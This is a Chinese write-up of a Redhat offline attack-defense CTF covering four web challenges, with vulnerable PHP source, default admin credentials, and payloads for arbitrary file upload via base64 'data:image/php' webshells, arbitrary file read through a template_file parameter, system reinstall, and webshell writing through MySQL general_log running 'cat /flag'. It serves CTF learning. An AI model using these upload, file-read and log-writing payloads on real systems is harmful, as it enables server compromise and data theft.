Redhat 线下赛 WEB WP

Posted nul1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redhat 线下赛 WEB WP相关的知识,希望对你有一定的参考价值。

 

赛制

给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手的gamebox从而获取到分数。

粤湾基金

漏洞点:

  • 前台任意文件上传
  • 后台任意文件上传
  • 后台弱口令

前台任意文件上传 #1

漏洞文件:/application/home/controller/Test.php

漏洞方法:dlfile()

public function dlfile($file_url, $save_to)
{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_POST, 0); 
        curl_setopt($ch,CURLOPT_URL,$file_url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $file_content = curl_exec($ch);
        curl_close($ch);
        $downloaded_file = fopen($save_to, ‘w‘);
        fwrite($downloaded_file, $file_content);
        fclose($downloaded_file);
}

函数功能:

使用curl获取页面信息,并将其存储到本地文件中。

此处的file_url以及save_to均可控,所以可以直接getshell或者获取flag,主办方甚至贴心的给了利用方法:

技术图片

前台任意文件上传 #2

漏洞文件:application/home/controller/Uploadify.php

漏洞方法:preview()

public function preview(){
        // 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
        $DIR = ‘preview‘;
        // Create target dir
        if (!file_exists($DIR)) {
            @mkdir($DIR);
        }

        $cleanupTargetDir = true; // Remove old files
        $maxFileAge = 5 * 3600; // Temp file age in seconds

        if ($cleanupTargetDir) {
            if (!is_dir($DIR) || !$dir = opendir($DIR)) {
                die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}‘);
            }

            while (($file = readdir($dir)) !== false) {
                $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
                // Remove temp file if it is older than the max age and is not the current file
                if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
                    @unlink($tmpfilePath);
                }
            }
            closedir($dir);
        }

        $src = file_get_contents(‘php://input‘);
        if (preg_match("#^data:image/(w+);base64,(.*)$#", $src, $matches)) {
            $previewUrl = sprintf(
                    "%s://%s%s",
                    isset($_SERVER[‘HTTPS‘]) && $_SERVER[‘HTTPS‘] != ‘off‘ ? ‘https‘ : ‘http‘,
                    $_SERVER[‘HTTP_HOST‘],$_SERVER[‘REQUEST_URI‘]
            );
            $previewUrl = str_replace("preview.php", "", $previewUrl);
            $base64 = $matches[2];
            $type = $matches[1];
            if ($type === ‘jpeg‘) {
                $type = ‘jpg‘;
            }

            if(strtolower($type)==‘php‘){
                die(‘hacked!‘);
            }

            $filename = md5($base64).".$type";
            $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

            if (file_exists($filePath)) {
                die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
            } else {
                $data = base64_decode($base64);
                file_put_contents($filePath, $data);
                die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
            }
        } else {
            die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}‘);
        }
    }

函数功能:

提取正则中的base64编码的图片信息以及图片后缀,转存图片到本地。

漏洞点:

preg_match("#^data:image/(w+);base64,(.*)$#", $src, $matches)
$base64 = $matches[2];
$type = $matches[1];
if ($type === ‘jpeg‘) {
    $type = ‘jpg‘;
}
if(strtolower($type)==‘php‘){
       die(‘hacked!‘);
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

if (file_exists($filePath)) {
    die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
} else {
    $data = base64_decode($base64);
    file_put_contents($filePath, $data);
    die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
}

这里的type以及base64均为我们可控的,而这里只是简单的限制了上传的后缀不能为php,我们可以尝试上传php4、php5、phtml、.user.ini、.htaccess来绕过。

后台弱口令

user:admin
pass:admin123

后台任意文件上传

漏洞文件:application/admin/controller/Uploadify.php

漏洞函数:preview()

public function preview(){

        // 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
        $DIR = ‘preview‘;
        // Create target dir
        if (!file_exists($DIR)) {
            @mkdir($DIR);
        }

        $cleanupTargetDir = true; // Remove old files
        $maxFileAge = 5 * 3600; // Temp file age in seconds

        if ($cleanupTargetDir) {
            if (!is_dir($DIR) || !$dir = opendir($DIR)) {
                die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}‘);
            }

            while (($file = readdir($dir)) !== false) {
                $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;      
                // Remove temp file if it is older than the max age and is not the current file
                if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
                    @unlink($tmpfilePath);
                }
            }
            closedir($dir);
        }

        $src = file_get_contents(‘php://input‘);
        if (preg_match("#^data:image/(w+);base64,(.*)$#", $src, $matches)) {       
            $previewUrl = sprintf(
                "%s://%s%s",
                isset($_SERVER[‘HTTPS‘]) && $_SERVER[‘HTTPS‘] != ‘off‘ ? ‘https‘ : ‘http‘,
                $_SERVER[‘HTTP_HOST‘],$_SERVER[‘REQUEST_URI‘]
            );
            $previewUrl = str_replace("preview.php", "", $previewUrl);
            $base64 = $matches[2];
            $type = $matches[1];
            if ($type === ‘jpeg‘) {
                $type = ‘jpg‘;
            }

            $filename = md5($base64).".$type";
            $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

            if (file_exists($filePath)) {
                die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
            } else {
                $data = base64_decode($base64);
                file_put_contents($filePath, $data);
                die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
            }
        } else {
            die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}‘);
        }
    }
}

和前台的一样,base64和type都可以控制,而且这里没有任何黑名单,可以直接控制后缀为php上传一个马。

技术图片

格式:

data:image/php;base64,baseencode(yijuhua)

粤湾期货

漏洞点:

  • 重装系统
  • 后台任意文件上传

重装系统

漏洞文件:install.php

install.php中没有判断是否存在锁文件,导致可以任意重装。

技术图片

这里不能用配置文件来getshell,因为用了addslashes函数来转义了引号,但是这里可以用来重置后台密码。

后台任意文件上传

在后台-系统设置中,可以设置允许上传的后缀,php被过滤了,可以直接用phtml来getshell,也可以用.user.ini来getshell。

粤湾投资

漏洞点:

  • 日志泄漏
  • 前台任意文件读取

日志泄漏

漏洞文件:Apps/Runtime/Logs/Home/19_11_20.log

打开进去可以直接看到主办方直接测试用的payload:

技术图片

直接用这个payload就能读到flag。

前台任意文件读取

漏洞文件:Apps/Home/Controller/JqueryController.class.php

漏洞函数:index()

public function index(){
        if(!isset($_GET[‘template_file‘])) {

            $this->seoData = array(‘title‘ => ‘Jquery插件‘, ‘keywords‘ => ‘Jquery插件‘, ‘description‘ => ‘Jquery插件‘);

            $this->display();
        }
        else{
            $this->display($_GET[‘template_file‘]);
        }
    }
}

直接将我们传递到template_file代入进display方法中,跟进:

protected function display($templateFile=‘‘,$charset=‘‘,$contentType=‘‘,$content=‘‘,$prefix=‘‘) {
    $this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}

将$templateFile代入了view-display()中,跟进:

public function display($templateFile=‘‘,$charset=‘‘,$contentType=‘‘,$content=‘‘,$prefix=‘‘) {
    G(‘viewStartTime‘);
    // 视图开始标签
    Hook::listen(‘view_begin‘,$templateFile);
    // 解析并获取模板内容
    $content = $this->fetch($templateFile,$content,$prefix);
    // 输出模板内容
    $this->render($content,$charset,$contentType);
    // 视图结束标签
    Hook::listen(‘view_end‘);
}

这里除了$templateFile,其余传递参数都为空,这里将templateFile传递进了fetch()方法,跟进:

于此处输出了模板文件:

技术图片

payload:

index.php/Jquery/?template_file=/flag

粤湾租赁

漏洞点:

  • 后台弱口令
  • 后台任意SQL语句执行Getshell

后台弱口令

user:admin
pass:admin123

后台任意SQL语句执行Getshell

过滤了INTO OUTFILE不能直接写shell,使用写日志的方式进行写shell。

首先查看日志:

SHOW VARIABLES LIKE ‘general%‘

再设置日志文件并打开日志记录:

set global general_log = "ON";
set global general_log_file=‘/var/www/html/xxx.php‘;

这里卡了一会,直接写到一个不存在的文件里会500,所以只能尝试写日志进已存在的文件。

获取flag:

select ‘<?php system("cat /flag");‘

进入日志页面后全局搜flag即可获取flag。

还有一个比较简单的方法:

select load_file("/flag");

当时在比赛的时候没想到,该payload没测试过,不知道是否被过滤。

以上是关于Redhat 线下赛 WEB WP的主要内容,如果未能解决你的问题,请参考以下文章

[杭电新生赛]HGAME-week1-web-wp

CTF线下攻防赛

SWPUCTF 2022新生赛 web部分wp

ctf第一届浙江师范大学网络与信息安全校赛wp

西湖论剑WP

[2021N1CTF国际赛]Easyphp-Wp